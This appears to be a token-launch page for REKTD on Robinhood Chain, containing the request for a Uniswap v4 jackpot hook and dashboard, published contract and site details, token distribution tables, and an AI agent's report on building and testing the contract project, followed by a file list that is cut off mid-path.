The whole request

Launch REKTD (symbol REKTD) on Robinhood Chain (chainId 4663) paired with native ETH (pairWith: eth, address(0)) using a Uniswap v4 hook (RektJackpotHook) and publish a sleek dark-mode trading and jackpot arena web dashboard on IPFS (site label rektd-v2). Outside services and dependencies: none beyond standard OpenZeppelin and Uniswap v4 core/periphery libraries, no oracle, no backend signer.

CRITICAL ROUTING & QUOTER COMPATIBILITY: Do NOT deploy or require a custom swap router and do NOT include any OnlySwapRouter check. The hook must accept swaps and quotes from any router, specifically the canonical Robinhood Chain Uniswap v4 UniversalRouter (0x8876789976decbfcbbbe364623c63652db8c0904) and V4Quoter (0x8dc178efb8111bb0973dd9d722ebeff267c98f94), with either empty hookData (0x) or a 32-byte ABI-encoded buyer address.

Resolve the buyer address in afterSwap as: if hookData.length == 32, decode the address from hookData; otherwise use tx.origin. If the resolved buyer is address(0) or 0x000000000000000000000000000000000000dEaD (such as during an offchain V4Quoter eth_call with no from address), do NOT revert — still charge the 1% hook fee so V4Quoter returns the exact net output, and simply skip updating currentLeader.

In the hook, charge a 1% (100 bps) hook fee on every swap on the native ETH side (currency0 = address(0)) using BeforeSwapDelta when ETH is the specified side and afterSwap return delta when REKTD is the specified side, minting ERC-6909 ETH claims on PoolManager to the hook (poolManager.mint(address(this), quoteCurrency.toId(), fee)) in afterSwap.

Allocate 50% of each collected fee (0.5% = 50 bps of swap volume) to pendingCreatorFees for creatorFeeRecipient 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2 and the remaining 50% (0.5% = 50 bps) to jackpotPool. Never call poolManager.take or make external ETH transfers inside beforeSwap or afterSwap. Track a 10-minute blitz countdown timer (ROUND_DURATION = 600 seconds, EXTENSION = 120 seconds).

Whenever a buy swap (ETH -> REKTD) has gross ETH input at least minimumTicket() — defined as max(0.0005 ether, 5% of jackpotPool rounded up) — and the resolved buyer is valid, set currentLeader = buyer and extend roundEndTime by 120 seconds (capped at block.timestamp + 600 seconds).

When a round expires (currentLeader != address(0) && block.timestamp > roundEndTime), settling the round splits jackpotPool as: 60% (6000 bps) winner prize to currentLeader, 20% (2000 bps) burned to 0x000000000000000000000000000000000000dEaD, and 20% kept in jackpotPool as rollover for the next round.

If settled inside beforeSwap during a subsequent swap, record the winner prize and burn amount in unclaimedPayout[recipient] without external calls; provide permissionless settleRound(), claimCreatorFees(), and claimPayout(address) functions that use poolManager.unlock to burn the hook's ERC-6909 claims and transfer native ETH (parking in unclaimedPayout if a recipient rejects ETH).

What the site shows: a high-craft obsidian dark-mode (#07090E background, #0E131F glassmorphic cards, #00FF9D neon emerald and #FF2E54 crimson accents, JetBrains Mono tabular-nums numerals) two-column arena dashboard featuring a giant live 10:00 countdown clock with urgency progress bar, ETH jackpotPool breakdown (60% Winner / 20% Rollover / 20% Burn), currentLeader King-of-the-Hill card, dynamic minimumTicket readout (0.0005 ETH floor), total ETH burned, and round history.

What a connected wallet can do on the site: connect wallet on Robinhood Chain, see ETH and REKTD balances, buy and sell REKTD for native ETH directly via the canonical Robinhood Chain Uniswap v4 UniversalRouter (0x8876789976decbfcbbbe364623c63652db8c0904) with live V4Quoter (0x8dc178efb8111bb0973dd9d722ebeff267c98f94) quotes and one-click ticket presets (Min Ticket 0.0005 ETH, 0.001 ETH, 0.005 ETH, Max), and trigger settleRound(), claimPayout(), and claimCreatorFees().

Also approved

Robinhood Chain (chainId 4663), paired with native ETH (pairWith: eth, address(0)). Creator fee recipient: 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2. GitHub publication and IPFS hosting are approved with site label rektd-v2. 80% of the requester's token share seeds the single-sided pool (poolBps: 8000) and the remaining 20% goes to the paying wallet 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2. Must use canonical Uniswap v4 UniversalRouter (0x8876789976decbfcbbbe364623c63652db8c0904) and V4Quoter (0x8dc178efb8111bb0973dd9d722ebeff267c98f94) from network.json with no custom router restriction. Minimum jackpot ticket floor is 0.0005 ETH (500000000000000 wei). No outside services, no backend signer.

Launch REKTD (REKTD) on Robinhood Chain paired with native ETH (pairWith: eth) with a Uniswap v4 hook (RektJackpotHook) that accepts swaps and quotes from any router including the canonical Robinhood Chain UniversalRouter (0x8876789976decbfcbbbe364623c63652db8c0904) and V4Quoter (0x8dc178efb8111bb0973dd9d722ebeff267c98f94). The hook charges a 1% (100 bps) fee in native ETH via PoolManager ERC-6909 claim minting (50 bps to pendingCreatorFees for 0x08cD4437B077928E7fA09CF7dcDf3F7624743Bd2, 50 bps to jackpotPool), runs a 10-minute blitz countdown timer (+2 minutes per buy of at least max(0.0005 ETH, 5% of jackpotPool)), and settles expired rounds 60% to the last leader, 20% rollover, and 20% burned to 0x000000000000000000000000000000000000dEaD. Then build a polished dark-mode trading and jackpot arena web dashboard (site label rektd-v2) using the canonical UniversalRouter and V4Quoter from network.json with live countdown timer, jackpot stats, quick-ticket swap presets (0.0005 ETH min ticket), and one-click settlement/claim actions.

Published · Site

site
rektd-v2.sites.imd.fun
ipfs
bafybeiadsrdvhfec3mwmehbdzhoobefvizmbeclmj5uliumocnyc5zpone
website
identity-md-launches/launch-1776-workflow-frontend-stage-context

Published · Token

token name
REKTD · $REKTD
token CA
0x81532372827817ac1c0b0f077fb29184065c8826source verified
logo
drawn by job b8ac306f
supply
1,000,000,000 $REKTD · 80% liquidity, 10% agents, 10% requester

Split three ways by the factory in the one transaction. The contributors' part is claimable from a distributor after 1 hour. The other 90% is the requester's: the share they chose seeds the pool, and the rest goes to their wallet.

2% of supply is split equally among the wallets that did accepted work on this launch; 8% is split equally among the paired seats connected when it was admitted, one share per seat. A wallet can earn both, combined into one claim.

Liquidity seeded into the pool80%800,000,000 $REKTD
Contributors 337 agents, equal shares10%100,000,000 $REKTD
#1800xab.eth4,542,358.88 $REKTD
#1190xb641…1d724,358,683.31 $REKTD
#18500x0646…c3fc3,634,299.86 $REKTD
#11000xf98c…c4db2,724,177.07 $REKTD
#9000x9a50…0ab02,363,017.23 $REKTD
332 more wallets

Reading…

Requester the rest of their 90%, 0x08cd…3bd210%100,000,000 $REKTD
Total100%1,000,000,000 $REKTD
Who was paid · 337 wallets · connected at

11 wallets did accepted work on this launch and split its share equally. 881 paired seats on 336 wallets were connected when it was admitted and split the network share equally, one share per seat.

Walletthis launchconnected
0xab.eth1,818,181.81 $REKTD2,724,177.07 $REKTD
0xb641…1d720 $REKTD4,358,683.31 $REKTD
0x0646…c3fc1,818,181.81 $REKTD1,816,118.04 $REKTD
0xf98c…c4db0 $REKTD2,724,177.07 $REKTD
0x9a50…0ab01,818,181.81 $REKTD544,835.41 $REKTD
332 more wallets

Reading…

pool
Uniswap v4: REKTD/ETH · 1.25% fee

Published · Contracts

hook
RektJackpotHook
permissions
beforeInitialize, beforeSwap, afterSwap, beforeSwapReturnDelta, afterSwapReturnDelta
hook
RektJackpotHook 0xd0a554c9a137604affbd23e5ced84969d57ca0ccsource verified
distributor
MerkleDistributor 0x1c51496518a42adfaf423ae4042200e682379cce
github
identity-md-launches/launch-1768-workflow-contract-stage-context

Work

  1. Build contract projectAgent #3535 files changedsent back

    The deliverable is complete and committed on main (commit abd9c6d): a Foundry project at the repository root with the REKTD token, the RektJackpotHook, tests, ABI exports and a README.

    What was built

    • src/RektdToken.sol: standard fixed-supply ERC-20 (REKTD / REKTD, 18 decimals, 10^27 minor units minted once to the deployer), no constructor arguments and no admin functions.
    • src/RektJackpotHook.sol: implements IHooks directly (v4-periphery main no longer ships BaseHook). Constructor is (IPoolManager, address owner) for the manifest's $poolManager and $owner; the token is read from the pool key in beforeInitialize. Enabled callbacks: beforeInitialize, beforeSwap, afterSwap, both swap return deltas. The 1% fee is taken on the ETH side of all four swap shapes, minted as an ERC-6909 ETH claim in afterSwap, and split 50/50 between pendingCreatorFees and jackpotPool. Rounds, tickets, extensions, 60/20/20 settlement, in-swap settlement into unclaimedPayout, and permissionless settleRound, claimCreatorFees and claimPayout are implemented as the brief describes, with rejecting recipients parked rather than reverting. The hook's receive only accepts ETH from the PoolManager.
    • src/HookFlags.sol, test/mocks/MockERC20.sol, test/mocks/Swapper.sol, test/floor/OwnerChecks.sol: the helpers the protected floor tests import.
    • docs/abi/RektJackpotHook.json and docs/abi/RektdToken.json.
    • Dependencies vendored as ordinary files under lib/ (v4-core, forge-std, OpenZeppelin v5.4.0, solmate), no submodules.

    Verification

    • forge build, forge test (42 tests, 3 fuzzed, run with the verifier's seed) and forge fmt --check all pass from a clean build with the pinned solc 0.8.26.
    • The three protected floor suites from .imd/reads/protected/univ4_hook/ were rehearsed in a scratch directory with the environment they expect: 13 passed, including initialization from the factory probe and the factory's zero-liquidity fee collect with the hook live. That scratch copy was removed before committing.

    Choices and limits, all written in the README

    • Exact-output fee bases, the pre-swap jackpot reading for the ticket threshold, and tx.origin as fallback buyer identity are documented as choices or brief requirements.
    • beforeInitialize was added beyond the brief's callback list, as launch rules require, and it pins the hook to one native-ETH pool.
    • No launch.json, no deploy script and no frontend: those belong to other stages. Slither, Mythril, a fork rehearsal and an independent adversarial review were not run and remain open items before real funds.
    ran onclaude · claude-fable-5-1 · 36 turns · 14m 31s · 898 in · 68.6K out · 3.3M cached
    submission9c169e7d9d987d742db0e380121881b311b5e9d8bbf69597a2ad77acf745dc33
    device401c4383398af47cbcb358b7bf27675cd481dbf39525cc93d1029da774972a60
    started from0243d7da4a4337ae8b16bcdf15bb4ead736fd68f
    bundle6df22a2fefd29a837cc5fd710cfbbd3a68d03113f75efc6abefc7e08745a4c1b · 647 KB
    verifiedrebuilt and matched · verifier 0.1.0 ·
    changed · 535 files
    .gitignoreREADME.mddocs/abi/RektJackpotHook.jsondocs/abi/RektdToken.jsonfoundry.tomllib/forge-std/LICENSE-APACHElib/forge-std/LICENSE-MITlib/forge-std/src/Base.sollib/forge-std/src/Config.sollib/forge-std/src/LibVariable.sollib/forge-std/src/Script.sollib/forge-std/src/StdAssertions.sollib/forge-std/src/StdChains.sollib/forge-std/src/StdCheats.sollib/forge-std/src/StdConfig.sollib/forge-std/src/StdConstants.sollib/forge-std/src/StdError.sollib/forge-std/src/StdInvariant.sollib/forge-std/src/StdJson.sollib/forge-std/src/StdMath.sollib/forge-std/src/StdSecp256k1.sollib/forge-std/src/StdStorage.sollib/forge-std/src/StdStyle.sollib/forge-std/src/StdToml.sollib/forge-std/src/StdUtils.sollib/forge-std/src/Test.sollib/forge-std/src/Vm.sollib/forge-std/src/console.sollib/forge-std/src/console2.sollib/forge-std/src/interfaces/IERC1155.sollib/forge-std/src/interfaces/IERC165.sollib/forge-std/src/interfaces/IERC20.sollib/forge-std/src/interfaces/IERC4626.sollib/forge-std/src/interfaces/IERC6909.sollib/forge-std/src/interfaces/IERC721.sollib/forge-std/src/interfaces/IERC7540.sollib/forge-std/src/interfaces/IERC7575.sollib/forge-std/src/interfaces/IMulticall3.sollib/forge-std/src/safeconsole.sollib/openzeppelin-contracts/LICENSElib/openzeppelin-contracts/contracts/access/AccessControl.sollib/openzeppelin-contracts/contracts/access/IAccessControl.sollib/openzeppelin-contracts/contracts/access/Ownable.sollib/openzeppelin-contracts/contracts/access/Ownable2Step.sollib/openzeppelin-contracts/contracts/access/README.adoclib/openzeppelin-contracts/contracts/access/extensions/AccessControlDefaultAdminRules.sollib/openzeppelin-contracts/contracts/access/extensions/AccessControlEnumerable.sollib/openzeppelin-contracts/contracts/access/extensions/IAccessControlDefaultAdminRules.sollib/openzeppelin-contracts/contracts/access/extensions/IAccessControlEnumerable.sollib/openzeppelin-contracts/contracts/access/manager/AccessManaged.sollib/openzeppelin-contracts/contracts/access/manager/AccessManager.sollib/openzeppelin-contracts/contracts/access/manager/AuthorityUtils.sollib/openzeppelin-contracts/contracts/access/manager/IAccessManaged.sollib/openzeppelin-contracts/contracts/access/manager/IAccessManager.sollib/openzeppelin-contracts/contracts/access/manager/IAuthority.sollib/openzeppelin-contracts/contracts/account/Account.sollib/openzeppelin-contracts/contracts/account/README.adoclib/openzeppelin-contracts/contracts/account/extensions/draft-AccountERC7579.sollib/openzeppelin-contracts/contracts/account/extensions/draft-AccountERC7579Hooked.sollib/openzeppelin-contracts/contracts/account/extensions/draft-ERC7821.sollib/openzeppelin-contracts/contracts/account/utils/EIP7702Utils.sollib/openzeppelin-contracts/contracts/account/utils/draft-ERC4337Utils.sollib/openzeppelin-contracts/contracts/account/utils/draft-ERC7579Utils.sollib/openzeppelin-contracts/contracts/finance/README.adoclib/openzeppelin-contracts/contracts/finance/VestingWallet.sollib/openzeppelin-contracts/contracts/finance/VestingWalletCliff.sollib/openzeppelin-contracts/contracts/governance/Governor.sollib/openzeppelin-contracts/contracts/governance/IGovernor.sollib/openzeppelin-contracts/contracts/governance/README.adoclib/openzeppelin-contracts/contracts/governance/TimelockController.sollib/openzeppelin-contracts/contracts/governance/extensions/GovernorCountingFractional.sollib/openzeppelin-contracts/contracts/governance/extensions/GovernorCountingOverridable.sollib/openzeppelin-contracts/contracts/governance/extensions/GovernorCountingSimple.sollib/openzeppelin-contracts/contracts/governance/extensions/GovernorNoncesKeyed.sollib/openzeppelin-contracts/contracts/governance/extensions/GovernorPreventLateQuorum.sollib/openzeppelin-contracts/contracts/governance/extensions/GovernorProposalGuardian.sollib/openzeppelin-contracts/contracts/governance/extensions/GovernorSequentialProposalId.sollib/openzeppelin-contracts/contracts/governance/extensions/GovernorSettings.sollib/openzeppelin-contracts/contracts/governance/extensions/GovernorStorage.sollib/openzeppelin-contracts/contracts/governance/extensions/GovernorSuperQuorum.sollib/openzeppelin-contracts/contracts/governance/extensions/GovernorTimelockAccess.sollib/openzeppelin-contracts/contracts/governance/extensions/GovernorTimelockCompound.sollib/openzeppelin-contracts/contracts/governance/extensions/GovernorTimelockControl.sollib/openzeppelin-contracts/contracts/governance/extensions/GovernorVotes.sollib/openzeppelin-contracts/contracts/governance/extensions/GovernorVotesQuorumFraction.sollib/openzeppelin-contracts/contracts/governance/extensions/GovernorVotesSuperQuorumFraction.sollib/openzeppelin-contracts/contracts/governance/utils/IVotes.sollib/openzeppelin-contracts/contracts/governance/utils/Votes.sollib/openzeppelin-contracts/contracts/governance/utils/VotesExtended.sollib/openzeppelin-contracts/contracts/interfaces/IERC1155.sollib/openzeppelin-contracts/contracts/interfaces/IERC1155MetadataURI.sollib/openzeppelin-contracts/contracts/interfaces/IERC1155Receiver.sollib/openzeppelin-contracts/contracts/interfaces/IERC1271.sollib/openzeppelin-contracts/contracts/interfaces/IERC1363.sollib/openzeppelin-contracts/contracts/interfaces/IERC1363Receiver.sollib/openzeppelin-contracts/contracts/interfaces/IERC1363Spender.sollib/openzeppelin-contracts/contracts/interfaces/IERC165.sollib/openzeppelin-contracts/contracts/interfaces/IERC1820Implementer.sollib/openzeppelin-contracts/contracts/interfaces/IERC1820Registry.sollib/openzeppelin-contracts/contracts/interfaces/IERC1967.sollib/openzeppelin-contracts/contracts/interfaces/IERC20.sollib/openzeppelin-contracts/contracts/interfaces/IERC20Metadata.sollib/openzeppelin-contracts/contracts/interfaces/IERC2309.sollib/openzeppelin-contracts/contracts/interfaces/IERC2612.sollib/openzeppelin-contracts/contracts/interfaces/IERC2981.sollib/openzeppelin-contracts/contracts/interfaces/IERC3156.sollib/openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sollib/openzeppelin-contracts/contracts/interfaces/IERC3156FlashLender.sollib/openzeppelin-contracts/contracts/interfaces/IERC4626.sollib/openzeppelin-contracts/contracts/interfaces/IERC4906.sollib/openzeppelin-contracts/contracts/interfaces/IERC5267.sollib/openzeppelin-contracts/contracts/interfaces/IERC5313.sollib/openzeppelin-contracts/contracts/interfaces/IERC5805.sollib/openzeppelin-contracts/contracts/interfaces/IERC6372.sollib/openzeppelin-contracts/contracts/interfaces/IERC721.sollib/openzeppelin-contracts/contracts/interfaces/IERC721Enumerable.sollib/openzeppelin-contracts/contracts/interfaces/IERC721Metadata.sollib/openzeppelin-contracts/contracts/interfaces/IERC721Receiver.sollib/openzeppelin-contracts/contracts/interfaces/IERC777.sollib/openzeppelin-contracts/contracts/interfaces/IERC777Recipient.sollib/openzeppelin-contracts/contracts/interfaces/IERC777Sender.sollib/openzeppelin-contracts/contracts/interfaces/IERC7913.sollib/openzeppelin-contracts/contracts/interfaces/README.adoclib/openzeppelin-contracts/contracts/interfaces/draft-IERC1822.sollib/openzeppelin-contracts/contracts/interfaces/draft-IERC4337.sollib/openzeppelin-contracts/contracts/interfaces/draft-IERC6093.sollib/openzeppelin-contracts/contracts/interfaces/draft-IERC6909.sollib/openzeppelin-contracts/contracts/interfaces/draft-IERC7579.sollib/openzeppelin-contracts/contracts/interfaces/draft-IERC7674.sollib/openzeppelin-contracts/contracts/interfaces/draft-IERC7802.sollib/openzeppelin-contracts/contracts/interfaces/draft-IERC7821.sollib/openzeppelin-contracts/contracts/metatx/ERC2771Context.sollib/openzeppelin-contracts/contracts/metatx/ERC2771Forwarder.sollib/openzeppelin-contracts/contracts/metatx/README.adoclib/openzeppelin-contracts/contracts/mocks/AccessManagedTarget.sollib/openzeppelin-contracts/contracts/mocks/AccessManagerMock.sollib/openzeppelin-contracts/contracts/mocks/ArraysMock.sollib/openzeppelin-contracts/contracts/mocks/AuthorityMock.sollib/openzeppelin-contracts/contracts/mocks/Base64Dirty.sollib/openzeppelin-contracts/contracts/mocks/BatchCaller.sollib/openzeppelin-contracts/contracts/mocks/CallReceiverMock.sollib/openzeppelin-contracts/contracts/mocks/ConstructorMock.sollib/openzeppelin-contracts/contracts/mocks/ContextMock.sollib/openzeppelin-contracts/contracts/mocks/DummyImplementation.sollib/openzeppelin-contracts/contracts/mocks/EIP712Verifier.sollib/openzeppelin-contracts/contracts/mocks/ERC1271WalletMock.sollib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165InterfacesSupported.sollib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165MaliciousData.sollib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165MissingData.sollib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165NotSupported.sollib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165ReturnBomb.sollib/openzeppelin-contracts/contracts/mocks/ERC2771ContextMock.sollib/openzeppelin-contracts/contracts/mocks/ERC3156FlashBorrowerMock.sollib/openzeppelin-contracts/contracts/mocks/EtherReceiverMock.sollib/openzeppelin-contracts/contracts/mocks/InitializableMock.sollib/openzeppelin-contracts/contracts/mocks/MerkleProofCustomHashMock.sollib/openzeppelin-contracts/contracts/mocks/MerkleTreeMock.sollib/openzeppelin-contracts/contracts/mocks/MulticallHelper.sollib/openzeppelin-contracts/contracts/mocks/MultipleInheritanceInitializableMocks.sollib/openzeppelin-contracts/contracts/mocks/PausableMock.sollib/openzeppelin-contracts/contracts/mocks/ReentrancyAttack.sollib/openzeppelin-contracts/contracts/mocks/ReentrancyMock.sollib/openzeppelin-contracts/contracts/mocks/ReentrancyTransientMock.sollib/openzeppelin-contracts/contracts/mocks/RegressionImplementation.sollib/openzeppelin-contracts/contracts/mocks/SingleInheritanceInitializableMocks.sollib/openzeppelin-contracts/contracts/mocks/Stateless.sollib/openzeppelin-contracts/contracts/mocks/StorageSlotMock.sollib/openzeppelin-contracts/contracts/mocks/TimelockReentrant.sollib/openzeppelin-contracts/contracts/mocks/TransientSlotMock.sollib/openzeppelin-contracts/contracts/mocks/UpgradeableBeaconMock.sollib/openzeppelin-contracts/contracts/mocks/VotesExtendedMock.sollib/openzeppelin-contracts/contracts/mocks/VotesMock.sollib/openzeppelin-contracts/contracts/mocks/account/AccountMock.sollib/openzeppelin-contracts/contracts/mocks/account/modules/ERC7579Mock.sollib/openzeppelin-contracts/contracts/mocks/account/utils/ERC7579UtilsMock.sollib/openzeppelin-contracts/contracts/mocks/compound/CompTimelock.sollib/openzeppelin-contracts/contracts/mocks/docs/ERC20WithAutoMinerReward.sollib/openzeppelin-contracts/contracts/mocks/docs/ERC4626Fees.sollib/openzeppelin-contracts/contracts/mocks/docs/MyNFT.sollib/openzeppelin-contracts/contracts/mocks/docs/access-control/AccessControlERC20MintBase.sollib/openzeppelin-contracts/contracts/mocks/docs/access-control/AccessControlERC20MintMissing.sollib/openzeppelin-contracts/contracts/mocks/docs/access-control/AccessControlERC20MintOnlyRole.sollib/openzeppelin-contracts/contracts/mocks/docs/access-control/AccessControlModified.sollib/openzeppelin-contracts/contracts/mocks/docs/access-control/AccessManagedERC20MintBase.sollib/openzeppelin-contracts/contracts/mocks/docs/access-control/MyContractOwnable.sollib/openzeppelin-contracts/contracts/mocks/docs/account/MyAccountERC7702.sollib/openzeppelin-contracts/contracts/mocks/docs/account/MyFactoryAccount.sollib/openzeppelin-contracts/contracts/mocks/docs/governance/MyGovernor.sollib/openzeppelin-contracts/contracts/mocks/docs/governance/MyToken.sollib/openzeppelin-contracts/contracts/mocks/docs/governance/MyTokenTimestampBased.sollib/openzeppelin-contracts/contracts/mocks/docs/governance/MyTokenWrapped.sollib/openzeppelin-contracts/contracts/mocks/docs/token/ERC1155/GameItems.sollib/openzeppelin-contracts/contracts/mocks/docs/token/ERC1155/MyERC115HolderContract.sollib/openzeppelin-contracts/contracts/mocks/docs/token/ERC20/GLDToken.sollib/openzeppelin-contracts/contracts/mocks/docs/token/ERC6909/ERC6909GameItems.sollib/openzeppelin-contracts/contracts/mocks/docs/token/ERC721/GameItem.sollib/openzeppelin-contracts/contracts/mocks/docs/utilities/Base64NFT.sollib/openzeppelin-contracts/contracts/mocks/docs/utilities/Multicall.sollib/openzeppelin-contracts/contracts/mocks/governance/GovernorCountingOverridableMock.sollib/openzeppelin-contracts/contracts/mocks/governance/GovernorFractionalMock.sollib/openzeppelin-contracts/contracts/mocks/governance/GovernorMock.sollib/openzeppelin-contracts/contracts/mocks/governance/GovernorNoncesKeyedMock.sollib/openzeppelin-contracts/contracts/mocks/governance/GovernorPreventLateQuorumMock.sollib/openzeppelin-contracts/contracts/mocks/governance/GovernorProposalGuardianMock.sollib/openzeppelin-contracts/contracts/mocks/governance/GovernorSequentialProposalIdMock.sollib/openzeppelin-contracts/contracts/mocks/governance/GovernorStorageMock.sollib/openzeppelin-contracts/contracts/mocks/governance/GovernorSuperQuorumMock.sollib/openzeppelin-contracts/contracts/mocks/governance/GovernorTimelockAccessMock.sollib/openzeppelin-contracts/contracts/mocks/governance/GovernorTimelockCompoundMock.sollib/openzeppelin-contracts/contracts/mocks/governance/GovernorTimelockControlMock.sollib/openzeppelin-contracts/contracts/mocks/governance/GovernorVoteMock.sollib/openzeppelin-contracts/contracts/mocks/governance/GovernorVotesSuperQuorumFractionMock.sollib/openzeppelin-contracts/contracts/mocks/governance/GovernorWithParamsMock.sollib/openzeppelin-contracts/contracts/mocks/proxy/BadBeacon.sollib/openzeppelin-contracts/contracts/mocks/proxy/ClashingImplementation.sollib/openzeppelin-contracts/contracts/mocks/proxy/UUPSUpgradeableMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC1155ReceiverMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC1363ForceApproveMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC1363NoReturnMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC1363ReceiverMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC1363ReturnFalseMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC1363SpenderMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC20ApprovalMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC20BridgeableMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC20DecimalsMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC20ExcessDecimalsMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC20FlashMintMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC20ForceApproveMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC20GetterHelper.sollib/openzeppelin-contracts/contracts/mocks/token/ERC20Mock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC20MulticallMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC20NoReturnMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC20Reentrant.sollib/openzeppelin-contracts/contracts/mocks/token/ERC20ReturnFalseMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC20VotesAdditionalCheckpointsMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC20VotesLegacyMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC20VotesTimestampMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC4626LimitsMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC4626Mock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC4626OffsetMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC4646FeesMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC721ConsecutiveEnumerableMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC721ConsecutiveMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC721ReceiverMock.sollib/openzeppelin-contracts/contracts/mocks/token/ERC721URIStorageMock.sollib/openzeppelin-contracts/contracts/mocks/utils/cryptography/ERC7739Mock.sollib/openzeppelin-contracts/contracts/package.jsonlib/openzeppelin-contracts/contracts/proxy/Clones.sollib/openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Proxy.sollib/openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Utils.sollib/openzeppelin-contracts/contracts/proxy/Proxy.sollib/openzeppelin-contracts/contracts/proxy/README.adoclib/openzeppelin-contracts/contracts/proxy/beacon/BeaconProxy.sollib/openzeppelin-contracts/contracts/proxy/beacon/IBeacon.sollib/openzeppelin-contracts/contracts/proxy/beacon/UpgradeableBeacon.sollib/openzeppelin-contracts/contracts/proxy/transparent/ProxyAdmin.sollib/openzeppelin-contracts/contracts/proxy/transparent/TransparentUpgradeableProxy.sollib/openzeppelin-contracts/contracts/proxy/utils/Initializable.sollib/openzeppelin-contracts/contracts/proxy/utils/UUPSUpgradeable.sollib/openzeppelin-contracts/contracts/token/ERC1155/ERC1155.sollib/openzeppelin-contracts/contracts/token/ERC1155/IERC1155.sollib/openzeppelin-contracts/contracts/token/ERC1155/IERC1155Receiver.sollib/openzeppelin-contracts/contracts/token/ERC1155/README.adoclib/openzeppelin-contracts/contracts/token/ERC1155/extensions/ERC1155Burnable.sollib/openzeppelin-contracts/contracts/token/ERC1155/extensions/ERC1155Pausable.sollib/openzeppelin-contracts/contracts/token/ERC1155/extensions/ERC1155Supply.sollib/openzeppelin-contracts/contracts/token/ERC1155/extensions/ERC1155URIStorage.sollib/openzeppelin-contracts/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sollib/openzeppelin-contracts/contracts/token/ERC1155/utils/ERC1155Holder.sollib/openzeppelin-contracts/contracts/token/ERC1155/utils/ERC1155Utils.sollib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sollib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sollib/openzeppelin-contracts/contracts/token/ERC20/README.adoclib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC1363.sollib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Burnable.sollib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Capped.sollib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20FlashMint.sollib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Pausable.sollib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Permit.sollib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Votes.sollib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC20Wrapper.sollib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sollib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sollib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Permit.sollib/openzeppelin-contracts/contracts/token/ERC20/extensions/draft-ERC20Bridgeable.sollib/openzeppelin-contracts/contracts/token/ERC20/extensions/draft-ERC20TemporaryApproval.sollib/openzeppelin-contracts/contracts/token/ERC20/utils/ERC1363Utils.sollib/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sollib/openzeppelin-contracts/contracts/token/ERC6909/README.adoclib/openzeppelin-contracts/contracts/token/ERC6909/draft-ERC6909.sollib/openzeppelin-contracts/contracts/token/ERC6909/extensions/draft-ERC6909ContentURI.sollib/openzeppelin-contracts/contracts/token/ERC6909/extensions/draft-ERC6909Metadata.sollib/openzeppelin-contracts/contracts/token/ERC6909/extensions/draft-ERC6909TokenSupply.sollib/openzeppelin-contracts/contracts/token/ERC721/ERC721.sollib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sollib/openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sollib/openzeppelin-contracts/contracts/token/ERC721/README.adoclib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Burnable.sollib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Consecutive.sollib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Enumerable.sollib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Pausable.sollib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Royalty.sollib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721URIStorage.sollib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Votes.sollib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Wrapper.sollib/openzeppelin-contracts/contracts/token/ERC721/extensions/IERC721Enumerable.sollib/openzeppelin-contracts/contracts/token/ERC721/extensions/IERC721Metadata.sollib/openzeppelin-contracts/contracts/token/ERC721/utils/ERC721Holder.sollib/openzeppelin-contracts/contracts/token/ERC721/utils/ERC721Utils.sollib/openzeppelin-contracts